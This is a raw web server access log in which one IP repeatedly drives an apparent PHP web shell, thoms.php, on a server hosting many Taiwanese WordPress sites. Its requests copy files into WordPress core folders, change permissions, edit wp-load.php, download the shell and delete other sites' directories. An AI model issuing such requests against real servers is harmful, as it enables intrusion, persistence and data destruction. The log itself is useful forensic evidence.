45.135.193.11 - - [11/Sep/2026:23:38:34 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fschema-shared%2Flicense.txt&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 11355 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fschema-shared%2Flicense.txt&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:34 -0400] "GET /betcity.com.tw/schema-shared/ HTTP/1.1" 200 6466 "https://163.245.207.76:443/betcity.com.tw/schema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:34 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fschema-shared%2Fcjfuns.php&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fschema-shared%2Fcjfuns.php&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:34 -0400] "GET /betcity.com.tw/schema-shared/license.txt HTTP/1.1" 200 69 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:34 -0400] "GET /thoms.php?p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 13617 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fschema-shared%2Fcjfuns.php&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:34 -0400] "GET /betcity.com.tw/schema-shared/admin.php HTTP/1.1" 200 987 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:34 -0400] "GET /thoms.php?del=cjfuns.php&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 13410 "http://163.245.207.76:443/thoms.php?del=cjfuns.php&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:34 -0400] "GET /thoms.php?chmod=index.php&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:34 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fschema-shared%2Findex.php&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 11347 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fschema-shared%2Findex.php&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:34 -0400] "GET /thoms.php?del=license.txt&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 13426 "http://163.245.207.76:443/thoms.php?del=license.txt&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:34 -0400] "GET /thoms.php?p=betcity.com.tw%2Fschema-shared&view=profile.php HTTP/1.1" 200 11851 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fschema-shared&view=profile.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:34 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-mail.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11450 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-mail.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:34 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-mail.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 11359 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-mail.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:35 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-mail.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11867 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-mail.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:35 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-mail.php&finish=1&move=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-mail.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:35 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-mail.php&p=betcity.com.tw%2F.well-known HTTP/1.1" 200 11394 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-mail.php&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:35 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-mail.php&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 11367 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-mail.php&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:35 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 19765 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-mail.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:35 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-mail.php&finish=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-mail.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:35 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-mail.php&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 11364 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-mail.php&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:35 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-mail.php&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-mail.php&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:35 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 19888 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-mail.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:35 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-mail.php&p= HTTP/1.1" 200 12378 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-mail.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:35 -0400] "GET /betcity.com.tw/cgi-bin/?ND= HTTP/1.1" 200 691 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:35 -0400] "GET /betcity.com.tw/cgi-bin/?MA= HTTP/1.1" 200 691 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:35 -0400] "GET /betcity.com.tw/cgi-bin/?SA= HTTP/1.1" 200 691 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:35 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-mail.php&p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 200 11349 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-mail.php&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:35 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-trackback.php&p= HTTP/1.1" 200 12372 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-trackback.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:35 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-trackback.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11859 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-trackback.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:35 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-trackback.php&finish=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-trackback.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:35 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-trackback.php&finish=1&move=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-trackback.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:35 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 20041 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-trackback.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:35 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 20040 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-trackback.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:36 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-trackback.php&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 11366 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-trackback.php&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:36 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-trackback.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-trackback.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:36 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-trackback.php&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-trackback.php&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:36 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-trackback.php&p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 200 11361 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-trackback.php&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:36 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-trackback.php&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 11358 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-trackback.php&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:36 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-trackback.php&p=betcity.com.tw%2F.well-known HTTP/1.1" 200 11404 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-trackback.php&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:36 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-trackback.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 11358 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-trackback.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:36 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-links-opml.php&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-links-opml.php&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:36 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-links-opml.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11873 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-links-opml.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:36 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-links-opml.php&p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 200 11361 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-links-opml.php&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:36 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-links-opml.php&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 11359 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-links-opml.php&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:36 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-links-opml.php&p= HTTP/1.1" 200 12373 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-links-opml.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:36 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-links-opml.php&p=betcity.com.tw%2F.well-known HTTP/1.1" 200 11405 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-links-opml.php&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:36 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-links-opml.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 11361 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-links-opml.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:36 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-links-opml.php&finish=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-links-opml.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:36 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-links-opml.php&finish=1&move=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-links-opml.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:37 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-links-opml.php&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 11368 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-links-opml.php&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:37 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 20199 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-links-opml.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:37 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-links-opml.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-links-opml.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:37 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 20201 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-links-opml.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:37 -0400] "GET /betcity.com.tw/.well-known/?ND= HTTP/1.1" 200 780 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:37 -0400] "GET /betcity.com.tw/.well-known/?MA= HTTP/1.1" 200 780 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:37 -0400] "GET /thoms.php?edit=wp-load.php&env=ace&p=betcity.com.tw HTTP/1.1" 200 17017 "http://163.245.207.76:443/thoms.php?edit=wp-load.php&env=ace&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:37 -0400] "GET /betcity.com.tw/.well-known/?SA= HTTP/1.1" 200 780 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:37 -0400] "GET /betcity.com.tw/thoms.php?chmod=booking-wise2.com.tw&p= HTTP/1.1" 200 11448 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:37 -0400] "GET /thoms.php?edit=wp-load.php&p=betcity.com.tw HTTP/1.1" 200 13409 "http://163.245.207.76:443/thoms.php?edit=wp-load.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:37 -0400] "GET /betcity.com.tw/thoms.php?chmod=beauty-dental.com.tw&p= HTTP/1.1" 200 11448 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:37 -0400] "GET /betcity.com.tw/thoms.php?copy=bestjudy.com.tw&p= HTTP/1.1" 200 12359 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:37 -0400] "GET /betcity.com.tw/thoms.php?del=bfl.com.tw&p= HTTP/1.1" 200 22466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:37 -0400] "GET /betcity.com.tw/thoms.php?del=bodbooks.com.tw&p= HTTP/1.1" 200 22467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:37 -0400] "GET /betcity.com.tw/thoms.php?chmod=mah.php&p= HTTP/1.1" 200 11436 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:37 -0400] "GET /betcity.com.tw/thoms.php?p=besth2o.com.tw HTTP/1.1" 200 17505 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:37 -0400] "GET /betcity.com.tw/thoms.php?chmod=bfl.com.tw&p= HTTP/1.1" 200 11429 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:37 -0400] "GET /betcity.com.tw/thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:37 -0400] "GET /betcity.com.tw/thoms.php?p=bossini.com.tw HTTP/1.1" 200 20965 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:37 -0400] "GET /betcity.com.tw/thoms.php?dl=thoms.php&p= HTTP/1.1" 200 22466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:37 -0400] "GET /betcity.com.tw/thoms.php?p=betcity.com.tw HTTP/1.1" 200 20195 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:37 -0400] "GET /betcity.com.tw/thoms.php?p= HTTP/1.1" 200 22467 "https://163.245.207.76/betcity.com.tw/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:37 -0400] "GET /betcity.com.tw/thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 17425 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:37 -0400] "GET /betcity.com.tw/thoms.php?p=wordpress-6.6-20260912023539 HTTP/1.1" 200 16552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:37 -0400] "GET /betcity.com.tw/thoms.php?del=bogroup.com.tw&p= HTTP/1.1" 200 22494 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
